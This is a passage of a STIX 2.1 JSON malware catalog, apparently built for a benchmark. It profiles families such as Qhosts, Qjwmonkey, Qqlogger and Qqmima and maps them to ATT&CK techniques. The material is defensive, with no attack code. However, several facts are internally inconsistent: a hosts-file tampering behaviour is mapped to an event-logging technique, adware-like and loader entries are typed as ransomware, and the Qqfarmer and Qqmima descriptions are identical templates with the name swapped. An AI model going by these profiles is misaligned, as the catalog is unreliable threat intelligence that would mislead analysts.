      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6dba8c69-a121-54a6-977b-8a040cdf04dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--199af5f5-3986-52fa-b308-d740f0f56f67",
      "target_ref": "attack-pattern--f662d7a7-98b1-57cb-bcf6-5fc8d645bd99",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qhosts exhibits technique T1562.002 (Impair Defenses: Disable Windows Event Logging (Modifying the hosts file to block AV updates))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35f6b544-6d4a-5a48-81b3-a6347fb1c6f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--199af5f5-3986-52fa-b308-d740f0f56f67",
      "target_ref": "attack-pattern--d52d47c8-1179-5476-95ef-decb6e322680",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qhosts exhibits technique T1556 (Modify Authentication Process (Redirecting logins to phishing pages via DNS spoofing))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d40097d-6ffe-560c-afb4-8cc66dbc0208",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--199af5f5-3986-52fa-b308-d740f0f56f67",
      "target_ref": "attack-pattern--31d6d05d-adfe-5580-9365-20731a0168a5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qhosts exhibits technique T1012 (Query Registry (Checking for installed security software before modifying the hosts file))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b8c4a5bc-05d3-50c0-842c-cafe3244b6e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qjwmonkey",
      "description": "Qjwmonkey (cataloged across security vendors under classifications such as PUAAdvertising:Win32/Qjwmonkey, Adware:Win32/Qjwmonkey.A!MSR, and PUA.Qjwmonkey) is an invasive advertising and Potentially Unwanted Application (PUA) family active since 2017. Typically bundled into free software installers, cracked multimedia applications, and dubious browser utilities, Qjwmonkey deploys covert background advertising services without clear user disclosure. Once installed, the application registers persistent startup services, hooks into major web browsers (including Google Chrome, Microsoft Edge, and Mozilla Firefox), and modifies browser configurations to alter default search engines and homepages. Qjwmonkey displays aggressive sponsored advertisements, injects banner ads directly into web page DOM structures, and silently downloads additional adware modules into %TEMP% directories, causing noticeable browser slowdowns and system resource consumption. (Observed samples in benchmark: 190)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUAAdvertising:Win32/Qjwmonkey",
        "Adware:Win32/Qjwmonkey.A!MSR",
        "PUA.Qjwmonkey",
        "Win32/Qjwmonkey",
        "Adware.Qjwmonkey"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qjwmonkey",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qjwmonkey"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d3b039b-48dc-5928-b7c1-e507a94f3fc4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8c4a5bc-05d3-50c0-842c-cafe3244b6e6",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qjwmonkey exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d63df10-6bf6-596b-88ce-f19d09c1b259",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8c4a5bc-05d3-50c0-842c-cafe3244b6e6",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qjwmonkey exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--738bffd6-bcaf-54c4-8b38-ffc8df62878d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8c4a5bc-05d3-50c0-842c-cafe3244b6e6",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qjwmonkey exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9767e79-6a26-58a3-a3bf-41c4520b9c58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8c4a5bc-05d3-50c0-842c-cafe3244b6e6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qjwmonkey exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86079af2-a9c7-502f-b063-4761f586c8ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8c4a5bc-05d3-50c0-842c-cafe3244b6e6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qjwmonkey exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fc7c35a3-6352-586c-af85-8892dd442f67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qmlfrt0J91Kid",
      "description": "Trojan:Win32/Qmlfrt0j91kid (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Qmlfrt0j91kid' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names. The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qmlfrt0J91Kid",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qmlfrt0j91kid"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22104787-5aba-5001-93b6-7fc6ab206368",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc7c35a3-6352-586c-af85-8892dd442f67",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qmlfrt0J91Kid exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5c137cc-eef2-547b-abd9-ca78d3805a69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc7c35a3-6352-586c-af85-8892dd442f67",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qmlfrt0J91Kid exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64c64c07-7219-5d13-9282-187f77b5c894",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc7c35a3-6352-586c-af85-8892dd442f67",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qmlfrt0J91Kid exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cd851bee-ca5d-5f0e-bf71-c00bdc2d2cee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qmuabwpoobbg",
      "description": "<h3>Executive Summary</h3>\nQmuabwpoobbg is a heuristic detection name assigned to a highly obfuscated Trojan variant. The randomly generated alphanumeric name strongly suggests the use of a Domain Generation Algorithm (DGA) for Command and Control (C2) communication or a polymorphic packing engine designed to dynamically alter the file's hash on every execution, making traditional signature-based detection highly ineffective.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware bearing such randomized nomenclature is typically delivered as a secondary payload. An initial access broker or a primary downloader (like Emotet or Trickbot) drops this obfuscated executable onto the victim's machine once a foothold is established.\n\nUpon execution, this trojan prioritizes stealth and evasion:\n<ul>\n<li><strong>Polymorphism and Packing:</strong> The executable is heavily packed. It unpacks itself directly into memory (fileless execution) to hide its true intent from static analysis tools.</li>\n<li><strong>Process Injection:</strong> It frequently utilizes Process Hollowing, suspending a legitimate Windows process (e.g., `svchost.exe`) and replacing its memory space with the malicious code, allowing it to bypass application whitelisting and firewall rules.</li>\n<li><strong>C2 Communication:</strong> The malware likely utilizes a DGA to programmatically generate hundreds of potential C2 domain names daily. It attempts to resolve these until it finds one registered by the attacker, allowing it to receive further instructions or exfiltrate data while evading static domain blocklists.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of a highly obfuscated trojan like Qmuabwpoobbg is a critical indicator of compromise. It signifies that advanced evasion techniques have bypassed initial defenses. The payload could be anything from a silent info-stealer to a precursor for a network-wide ransomware deployment.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Eradication requires Endpoint Detection and Response (EDR) solutions that monitor for anomalous process behavior (like injection or unexpected outbound network connections) rather than relying on file hashes.</li>\n<li><strong>Network Isolation and DNS Filtering:</strong> Immediately isolate the machine. Analyze DNS logs for high volumes of NXDOMAIN (Non-Existent Domain) responses, which strongly indicate DGA activity, and block the successful resolutions.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion tactics and the likelihood of undiscovered secondary payloads, a complete bare-metal wipe and re-image from a trusted backup is the most secure remediation path.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Qmuabwpoobbg",
        "Win32/Trojan.Obfuscated",
        "Suspicious.DGA"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qmuabwpoobbg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qmuabwpoobbg"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b6c221a-6ff1-5537-88c7-23c64ff98a04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd851bee-ca5d-5f0e-bf71-c00bdc2d2cee",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qmuabwpoobbg exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03d83bc3-8758-5f3c-8d14-ff8413c78644",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd851bee-ca5d-5f0e-bf71-c00bdc2d2cee",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qmuabwpoobbg exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--846e27c0-e05b-593e-929a-444c365b868c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd851bee-ca5d-5f0e-bf71-c00bdc2d2cee",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qmuabwpoobbg exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e52c145-0819-57ad-971b-bfe1b6b2a0d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd851bee-ca5d-5f0e-bf71-c00bdc2d2cee",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qmuabwpoobbg exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--08443e18-eb39-578b-bce7-3a51c436432b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qqfarmassist",
      "description": "<h3>Executive Summary</h3>\nQQFarmAssist is classified as a Potentially Unwanted Program (PUP) and a riskware tool. Originally designed as an automated assistant or \"bot\" for the highly popular Chinese social network game \"QQ Farm,\" it automates in-game tasks such as planting, harvesting, and stealing virtual crops. While not inherently destructive, its unauthorized automation capabilities, aggressive monetization tactics, and origins in the grey market pose significant security and compliance risks in enterprise environments.\n\n<h3>Technical Characteristics and Risks</h3>\nQQFarmAssist is typically downloaded from third-party gaming forums or unverified software portals, as it violates the Terms of Service of the game publisher (Tencent) and is subsequently banned from official channels.\n\nThe presence of QQFarmAssist introduces several operational and security concerns:\n<ul>\n<li><strong>Credential Risk:</strong> To function, the tool requires the user to input their primary Tencent QQ login credentials directly into the third-party application. This introduces a severe risk of credential harvesting and account takeover.</li>\n<li><strong>Adware Bundling:</strong> Because the tool operates in a legal grey area, its developers frequently bundle the installer with aggressive adware, browser hijackers, and sometimes more severe malware to monetize the downloads.</li>\n<li><strong>Network Overhead and Policy Violation:</strong> The tool generates constant, automated network traffic to gaming servers, wasting corporate bandwidth and explicitly violating enterprise acceptable use policies regarding unauthorized software and gaming.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nWhile the primary intent of QQFarmAssist is cheating in a social game, its presence on a corporate network is a strong indicator of poor endpoint hygiene and a lack of user compliance. It dramatically increases the attack surface for credential theft and secondary malware infections.\n\n<h3>Remediation and Mitigation</h3>\n<ul>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent the execution of unapproved, non-business software like QQFarmAssist on corporate endpoints.</li>\n<li><strong>Endpoint Removal:</strong> Utilize enterprise antivirus solutions or endpoint management tools (like SCCM) to locate and uninstall the QQFarmAssist executables and associated registry keys.</li>\n<li><strong>User Education and Credential Reset:</strong> Educate users on the dangers of providing corporate or personal credentials to unverified third-party applications. If a user is found utilizing the tool, mandate an immediate password reset for their associated accounts.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUP.QQFarmAssist",
        "Riskware.CheatTool",
        "HackTool.QQFarm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qqfarmassist",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qqfarmassist"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09e0d364-05b9-5e8b-ac2a-5d5d5ba028b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08443e18-eb39-578b-bce7-3a51c436432b",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqfarmassist exhibits technique T1078 (Valid Accounts (The goal of the attack))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f033d432-434a-544a-8add-e749048d464f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08443e18-eb39-578b-bce7-3a51c436432b",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqfarmassist exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43cdbb3e-3833-5b2b-9175-7ab4b5e215eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08443e18-eb39-578b-bce7-3a51c436432b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqfarmassist exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5f687e7-edc1-5d79-97bc-21279c2c6f85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08443e18-eb39-578b-bce7-3a51c436432b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqfarmassist exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12ae73da-32dd-59bb-8f76-d5666f0565a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08443e18-eb39-578b-bce7-3a51c436432b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqfarmassist exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--58d8c553-5cb2-54a9-b7cd-23775eccc1a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qqfarmer",
      "description": "Trojan:Win32/Qqfarmer is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Qqfarmer</b><br>To an end-user, a Qqfarmer infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Qqfarmer is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Qqfarmer is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Qqfarmer frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Qqfarmer reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qqfarmer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qqfarmer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5af4ad60-f430-596d-9ff4-a48673d7fa9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58d8c553-5cb2-54a9-b7cd-23775eccc1a1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqfarmer exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6bfa24a5-078b-5ac0-b9a8-62f95fba435b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58d8c553-5cb2-54a9-b7cd-23775eccc1a1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqfarmer exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9dffe513-19cf-5eb1-a666-8442bff3e764",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58d8c553-5cb2-54a9-b7cd-23775eccc1a1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqfarmer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0541b16f-ad24-5da1-9ad4-ee71c65f6f1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58d8c553-5cb2-54a9-b7cd-23775eccc1a1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqfarmer exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24e0802e-e3c4-54fe-ac10-f3a007d400a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58d8c553-5cb2-54a9-b7cd-23775eccc1a1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqfarmer exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9097ea99-db5a-51f2-87a3-ecae9b28fe42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qqlogger",
      "description": "QQLogger (classified across threat research databases under signatures including Spyware:Win32/QQLogger, Trojan-Spy:Win32/QQLogger, and PWS:Win32/QQLogger) is a specialized credential stealer and spyware trojan active since 2008. Designed primarily to target Tencent QQ instant messaging clients, gaming portals, and online services popular in East Asia, QQLogger installs system-wide keyboard hooks (via SetWindowsHookEx) and memory scanning routines to intercept user account credentials. Upon execution, QQLogger monitors foreground windows, capturing usernames, passwords, and private chat messages when QQ login windows or web authentication forms are detected. The intercepted credentials are encrypted and exfiltrated over HTTP POST or direct SMTP mail messages to threat actor collection servers. (Observed samples in benchmark: 29)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Spyware:Win32/QQLogger",
        "Trojan-Spy:Win32/QQLogger",
        "PWS:Win32/QQLogger",
        "Win32/QQLogger",
        "TrojanSpy:Win32/QQPass"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qqlogger",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qqlogger"
        }
      ],
      "labels": [
        "spyware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--65ecf1b5-10e7-5537-902c-a9a02a34cf77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qqmima",
      "description": "Trojan:Win32/Qqmima is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Qqmima</b><br>To an end-user, a Qqmima infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Qqmima is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Qqmima is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Qqmima frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Qqmima reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qqmima",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qqmima"
        }
      ],
      "labels": [
